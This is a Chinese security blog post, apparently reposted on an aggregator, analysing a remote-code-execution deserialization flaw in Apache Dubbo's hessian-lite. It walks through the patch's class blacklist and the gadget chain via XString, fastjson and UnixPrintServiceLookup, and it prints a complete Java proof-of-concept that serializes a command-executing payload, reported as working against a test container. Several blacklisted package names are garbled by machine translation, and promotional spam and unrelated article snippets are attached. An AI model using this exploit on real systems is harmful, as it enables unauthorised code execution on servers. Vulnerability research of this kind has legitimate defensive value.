【安全学习】apache通告中的漏洞描述

news2024/11/18 17:26:35
分析
漏洞描述

我们可以看看在apache通告中对漏洞的简单的描述

图片.png

很明显,从这个漏洞描述中,我们能够明白这个CVE的造成主要是因为dubbo中内置的hessian项目,主要是因为在中的及以前版本中存在有这个漏洞hessian-lite``3.2.12

来看看是因为哪里造成了这个漏洞,以至于能够RCE

我们看看github的diff

https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad

主要的更改是在文件中resources/DENY_CLASS

这个文件中,是这个项目维护的一个黑名单

从这次的修复中,多新增了好几个黑名单包名

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

图片.png

org.apache.commons.codec.
组织方面.
org.dom4j
组织君尼特.
组织莫比托.
百里香叶.
奥格尔。
太阳印.

有很多,但是在其中只是存在有一个存在于JDK中的包名,即为,这里仅是主要探讨有关于JDK中的利用链进行学习sun.print.

对于其他的包名的的利用链,之后我将会通过自动化工具的方式进行挖掘探索

漏洞回顾

要想要知道能够利用的恶意类到底是哪一个,我们需要明白hessian需要触发什么才能导致漏洞的利用

如果曾经更进过hessian以前的其他链子,你会发现,大多数的链子都是通过使用等类来触发等等方法来进行接下来的调用HashMap / HashSet / HashTable``equals / compareTo

而其中,marshal项目中存在有多个通过调用方法的方式XString#equals

图片.png
进而调用到其他类的方法进行接下来 的调用toString

现洞分析

在这个CVE中存在的一条利用链是通过fastjson库的方法来进行反序列化操作,而在起反序列化的过程中将会调用反序列化类的任意getter方法,当时是直接通过触发了方法来进行利用的
CVE-2021-25641``JSONObject#toString``TemplatesImpl#getOutputProperties

而我们这里,也朝着这样的思路走,我们需要在包下,找到一个类的方法能够进行漏洞的触发,那个就是我们想要的漏洞点sun.print.``getter

有关于这个类的利用,之前在跳跳糖中就存在

https://tttang.com/archive/1510/

图片.png

我们跟进一下这种利用方式

我们这里选用的环境是单独的一个依赖的环境(2.7.16版本)dubbo

图片.png

沿用以前的思路,通过dubbo库依赖的fastjson库,进行任意getter方法的调用,进行调用上图中的方法进行利用getDefaultPrintService

首先我贴一下到方法调用方法的调用栈XString#equals``JSONObject#toString

toString:1071, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)

之后来看看这条链子JSONObject#toString

图片.png

这图是方法中的代码,其中我们是通过HashMap反序列化的方法,进行元素之间的方法的调用,这里的参数,只有是一个对象,才会调用其方法XString#equals``equals``obj2``JSONObject``toString

因为类中没有toString方法,所以只能够调用其父类类的方法进行调用JSONObject``JSON``toString

图片.png

在这个方法中,调用了相同类的方法toString``toJSONString

图片.png

在这里,将会对我们的对象进行反序列化操作JSONObject

这部分的调用栈为

write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)

我们前面通过fastjson反序列化的学习,也知道在其反序列化的过程中,将会导致任意getter方法的调用,所以自然能够调用到我们想要的方法UnixPrintServiceLookup#getDefaultPrintService

图片.png

在这个方法中,主要是获取默认的打印服务相同的操作

首先在其中的一个if语句中

if (CUPSPrinter.isCupsRunning())

我们如果想要利用,需要保证不会满足这个条件
图片.png

并且操作系统不能够使MAC OS和SUN OS

图片.png

如果能够满足我们上面的条件,我们将会进一步调用到方法中getDefaultPrinterNameBSD

图片.png

这里,将会将属性中的值传入方法中进行调用lpcFirstCom``exeCmd

图片.png

而在该方法中,将会将命令拼接在这两个环境进行执行/bin/sh / /usr/bin/sh

之后会通过调用run方法来执行命令

因为在run方法中是存在有方法进行执行的,所以能够RCERuntime.getRuntime().exec()

图片.png

POC
public class Test {
    public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(filedName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
    public static void main(String[] args) {
        try {
            //需要执行的命令
            String cmd = "touch /tmp/test";
            Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafe.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafe.get(null);
            Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
            //绕过getDefaultPrinterNameBSD中的限制
            //设置属性
            setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
            setFieldValue(unixPrintServiceLookup, "osname", "xx");
            setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
            //封装一个JSONObject对象调用getter方法
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("xx", unixPrintServiceLookup);
            //使用XString类调用toString方法
            XString xString = new XString("xx");
            HashMap map1 = new HashMap();
            HashMap map2 = new HashMap();
            map1.put("yy",jsonObject);
            map1.put("zZ",xString);
            map2.put("yy",xString);
            map2.put("zZ",jsonObject);

            HashMap s = new HashMap();
            setFieldValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);

            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
            setFieldValue(s, "table", tbl);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
            hessianOutput.setSerializerFactory(new SerializerFactory());
            hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
            hessianOutput.writeObject(s);
            hessianOutput.flushBuffer();

            System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}
利用

我这里使用的是自己使用docker搭建的一个带有hessian反序列化环境且仅依赖dubbo库的环境

我将上面的POC得到的序列化数据编码后的base64字符串进行发送

图片.png

在docker环境中,成功创建了这个空文件/tmp/test

总结

这里不仅可以通过从这个getter方法中进行漏洞的触发getDefaultPrintService

同样也能够在其他的getter方法中进行漏洞的触发,因为毕竟fastjson的反序列化过程调用的所有的getter方法,比如说是也可以从方法中开始进行利用getPrintServices

图片.png

当然,还有其他的getter方法

这里只是提及了这个CVE的JDK中的利用链,其他的利用链需要依赖其他的库,后面将会进行挖掘依赖中的getter利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/111144.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

3. 请求

1. 请求映射路径 RequestMapping注解 名称:RequestMapping类型:方法注解 类注解位置:SpringMVC控制器方法定义上方作用:设置当前控制器方法请求访问路径,如果设置在类上统一设置当前控制器方法请求访问路径前缀范例 …

Matter理论介绍-通用-1-03:桥接器-数据结构

【源码、文档、软件、硬件、技术交流、技术支持,入口见文末】 【所有相关IDE、SDK和例程源码均可从群文件免费获取,免安装,解压即用】 持续更新中,欢迎关注! 一、简介 Bridge(桥接器)存在的意…

springboot集成webstock实战:服务端数据推送数据到客户端实现实时刷新

背景 之前介绍过springboot集成webstock方式,具体参考: springboot集成websocket实战:站内消息实时推送 这里补充另外一个使用webstock的场景,方便其他同学理解和使用,废话不多说了,直接开始!简单介绍一下业务场景: 现在有一个投票活动,活动详情中会显示投票活动的参与人数…

【代码随想录】二刷-贪心算法

贪心算法 《代码随想录》 什么是贪心? 贪心的本质是选择每一阶段的局部最优,从而达到全局最优。 贪心没有规定的套路。 刷题或面试的时候,手动模拟一下感觉可以局部最优退出整体最优,而且想不到反例,那么就试一试贪心。…

Python游戏开发之Dungeon Crawler 游戏源码大全

源码一 功能: WASD 移动 SPACE 攻击 SHIFT 使用楼梯 介绍 每个级别都包含一把钥匙和一个上锁的舱口。收集钥匙以解锁通往下一层的通道(SHIFT解锁)。 史莱姆造成的伤害最小,但每一层都会产生更多。他们可以降低健康或 XP。更多 XP = 每次攻击造成更多伤害。硬币目前没有…

OpenCV 读取、显示和保存图像

目录 一、OpenCV 读取图像 OpenCV 读取函数 参数: 二、OpenCV 显示图像 imshow函数 imshow函数功能 imshow函数原型 三、OpenCV 保存图像 四、结果和代码 一、OpenCV 读取图像 OpenCV 允许我们对图像执行多种操作,但要做到这一点,需…

云原生之使用Docker部署Python应用

云原生之使用Docker部署Python应用一、检查系统版本1.检查系统 版本2.检查系统内核二、检查docker状态三、编辑python文件1.创建目录2.编辑test.py文件四、构建镜像1.编辑dockerfile文件2.使用dockerfile构建镜像五、运行镜像容器1.运行python_app容器2.查看容器状态六、访问Py…

java大学校园饭卡管理系统饭卡查询系统饭卡挂失网站源码

springboot开发的大学生饭卡系统,学生可以登录该系统充值饭卡,挂失饭卡,取消挂失,查看自己的所有饭卡,以及发卡的充值记录。超级管理员拥有最大的权限,饭卡管理员可以添加饭卡信息,充值&#xf…

如何将敏捷开发与V模型深度融合?这家企业给出答案

随着汽车智能化的快速发展,消费者对智能汽车的需求正在发生变化,车企开始思考如何能快速满足消费者的这些需求。这也对汽车供应商提出更大挑战,Tier 1不仅应该具备提供相应高质量产品的量产能力,更要快速满足主机厂和用户对汽车智…

【MySQL基础教程】图形化界面工具介绍、安装与使用

前言 本文为 【MySQL基础教程】图形化界面工具介绍、安装与使用 相关介绍,下边将对图形化界面工具介绍,DataGrip的安装与DataGrip的使用进行详尽介绍~ 📌博主主页:小新要变强 的主页 👉Java全栈学习路线可参考&#x…

八、Express框架 安装

对于Express框架的就不进行过多介绍,Express官方对该框架的定位是:"基于Node.js平台,快速、开放、极简的 Web 开发框架",本篇开始记录关于 Node.js 轻量级Web开发框架 :Express框架,下面先进行Ex…

高可用架构和系统设计经验

导语 | 本文从研发规范层面、应用服务层面、存储层面、产品层面、运维部署层面、异常应急层面这六大层面去剖析一个高可用架构和系统需要有哪些关键的设计和考虑。 一、高可用系统架构设计思想 1-1、可用性和高可用概念 可用性是一个可以量化的指标,计算的公式在维…

刷爆力扣之亲密字符串

刷爆力扣之亲密字符串 HELLO,各位看官大大好,我是阿呆 🙈🙈🙈 今天阿呆继续记录下力扣刷题过程,收录在专栏算法中 😜😜😜 该专栏按照不同类别标签进行刷题,…

基于VUE学生选课管理系统

开发工具(eclipse/idea/vscode等):idea 数据库(sqlite/mysql/sqlserver等):mysql 功能模块(请用文字描述,至少200字): 一、登录注册模块: 1.学生,教师,管理员三个角色(同一时刻,账户…

Incorporating Dynamic Semantics into Pre-Trained Language Model for ABSA 论文阅读笔记

一、作者 Kai Zhang、Kun Zhang、Mengdi Zhang、Hongke Zhao、Qi Liu、Wei Wu、Enhong Chen School of Data Science, University of Science and Technology of China School of Computer Science and Information Engineering, Hefei University of Technology Meituan …

移动端Swiper的一些尝试(中间完整,两边有内容,循环展示)

【背景】最近公司的需求很多实现一个Swiper滑块,中间完整。两边展示一些内容(可能是固定的提示方案,也可能是前后上下一页的部分内容),然后还需要循环滚动,其中遇到了一些问题特此记录 1、实现两边展示内容…

Canvas 从进阶到退学

本文简介 点赞 关注 收藏 学会了 接着 《Canvas 从入门到劝朋友放弃(图解版)》 ,本文继续补充 canvas 基础知识点。 这次我不手绘了! 本文会涉及到 canvas 的知识包括:变形、像素控制、渐变、阴影、路径 变形 这…

向量杂记(python)

以 O 点为圆心, 绘制如上图, 则有向量 vOA, vOB, vOC, vOD 再给定一个X轴方向的单位向量 vX [1, 0] 则 向量 vOA, vOB, vOC, vOD 分别与 vX 进行叉乘: # python 代码 # X Y 轴上的单位向量 vX [1, 0] vY [0, 1]vA …

Matter理论介绍-通用-1-05:桥接设备-发现与配置流程

【源码、文档、软件、硬件、技术交流、技术支持,入口见文末】 【所有相关IDE、SDK和例程源码均可从群文件免费获取,免安装,解压即用】 持续更新中,欢迎关注! 一、桥接设备的发现 桥接设备如何被其他Matter终端发现呢…

论文阅读《FSCE: Few-Shot Object Detection via Contrastive Proposal Encoding》

论文地址:https://arxiv.org/pdf/2103.05950.pdf 代码地址:https://github.com/megvii-research/FSCE 对比学习https://zhuanlan.zhihu.com/p/346686467 目录1、存在的问题2、算法简介3、算法细节3.1、new-baseline3.2、对比建议编码3.3、对比建议编码的…